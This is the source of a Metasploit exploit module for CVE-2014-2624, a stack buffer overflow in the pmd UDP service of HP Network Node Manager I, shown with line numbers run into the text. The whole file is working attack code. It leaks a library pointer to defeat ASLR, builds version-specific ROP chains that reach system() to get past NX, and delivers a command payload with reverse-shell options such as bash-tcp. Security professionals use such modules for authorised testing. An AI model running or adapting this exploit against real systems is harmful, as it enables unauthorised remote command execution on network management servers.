Path: blob/master/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'HP Network Node Manager I PMD Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The17vulnerability exists in the pmd service, due to the insecure usage of functions like18strcpy and strcat while handling stack_option packets with user controlled data. In19order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from20the stack and finally build the ROP chain to avoid NX.21},22'Author' => [23'd(-_-)b', # Vulnerability discovery24'juan vazquez' # Metasploit module25],26'References' => [27['CVE', '2014-2624'],28['ZDI', '14-305']29],30'Payload' => {31'BadChars' => "\x00",32'Space' => 3000,33'DisableNops' => true,34'Compat' =>35{36'PayloadType' => 'cmd cmd_bash',37'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'38}39},40'Arch' => ARCH_CMD,41'Platform' => 'unix',42'Targets' => [43['Automatic', {}],44[45'HP NNMi 9.10 / CentOS 5',46{47# ptr to .rodata with format specifier48# .rodata:0003BE86 aS_1 db '%s',049'ov_offset' => 0x3BE86,50:rop => :rop_hp_nnmi_9_1051}52],53[54'HP NNMi 9.20 / CentOS 6',55{56# ptr to .rodata with format specifier57# .rodata:0003C2D6 aS_1 db '%s',058'ov_offset' => 0x3c2d8,59:rop => :rop_hp_nnmi_9_2060}61]62],63'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.2064'DisclosureDate' => '2014-09-09',65'DefaultTarget' => 0,66'Notes' => {67'Reliability' => UNKNOWN_RELIABILITY,68'Stability' => UNKNOWN_STABILITY,69'SideEffects' => UNKNOWN_SIDE_EFFECTS70}71)72)7374register_options([ Opt::RPORT(7426) ])75end7677def check78header = [790x2a5, # pmdmgr_init pkt800x3cc, # signature810xa0c, # signature820xca8 # signature83].pack("V")8485data = "\x00" * (0xfa4 - header.length)8687pkt = header + data8889connect_udp90udp_sock.put(pkt)91res = udp_sock.timed_read(8, 1)92if res.blank?93# To mitigate MacOSX udp sockets behavior94udp_sock.put(pkt)95res = udp_sock.timed_read(8)96end97disconnect_udp9899if res.blank?100return Exploit::CheckCode::Unknown101elsif res.length == 8 && res.unpack("V").first == 0x2a5102return Exploit::CheckCode::Detected103else104return Exploit::CheckCode::Unknown105end106end107108def exploit109connect_udp110# info leak with a "proto_tbl" packet111print_status("Sending a 'proto_tbl' request...")112udp_sock.put(proto_tbl_pkt)113114res = udp_sock.timed_read(13964, 1)115if res.blank?116# To mitigate MacOSX udp sockets behavior117udp_sock.put(proto_tbl_pkt)118res = udp_sock.timed_read(13964)119end120121if res.blank?122fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")123end124125if target.name == 'Automatic'126print_status("Fingerprinting target...")127my_target = auto_target(res)128fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?129else130my_target = target131fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)132end133134print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")135136# exploit with a "stack_option_pkt" packet137udp_sock.put(stack_option_pkt(my_target, @ov_base))138139disconnect_udp140end141142def rop_hp_nnmi_9_10(ov_base)143rop = rand_text_alpha(775)144rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret145rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got146rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:147# "PMD Stack option specified, but stack not available (user_controlled)"148rop << [0x808d7c2].pack("V") # pop ebp # ret149rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)150rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:151# .text:0001D692 lea eax, [ebp+dest]152# .text:0001D698 push eax ; command153# .text:0001D699 call _system154rop155end156157def rop_hp_nnmi_9_20(ov_base)158rop = rand_text_alpha(775)159rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret160rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence161# .text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)162# .text:0001DAEC push eax ; command163# .text:0001DAED call _system164rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:165# "PMD Stack option specified, but stack not available (user_controlled)"166rop << rand_text_alpha(4) # ebp: padding167rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)168rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret169rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret170rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base171rop << rand_text_alpha(4) # ebx: padding172rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)173rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)174rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)175rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)176rop << [0x80528BC].pack("V") # jmp eax177178rop179end180181def stack_option_pkt(t, ov_base)182hdr = [0x2a9].pack("V") # stack_option packet183data = "-SA" # stack name (invalid one 'A')184data << ";" # separator185data << self.send(t[:rop], ov_base) # malformed stack options186data << payload.encoded187data << ";\n"188data << "\x00" * (0xfa4 - data.length - hdr.length)189190hdr + data191end192193def proto_tbl_pkt194hdr = [0x2aa].pack("V") # proto_tbl packet195data = "\x00" * (0xfa4 - hdr.length)196197hdr + data198end199200def base(address, offset)201address - offset202end203204def find_ov_base(t, data)205print_status("Searching #{t.name} pointers...")206i = 0207data.unpack("V*").each do |int|208if base(int, t['ov_offset']) % 0x1000 == 0209print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")210@ov_base = base(int, t['ov_offset'])211return true212end213i = i + 1214end215216false217end218219def auto_target(data)220targets.each do |t|221next if t.name == 'Automatic'222if find_ov_base(t, data)223return t224end225end226227nil228end229end230231232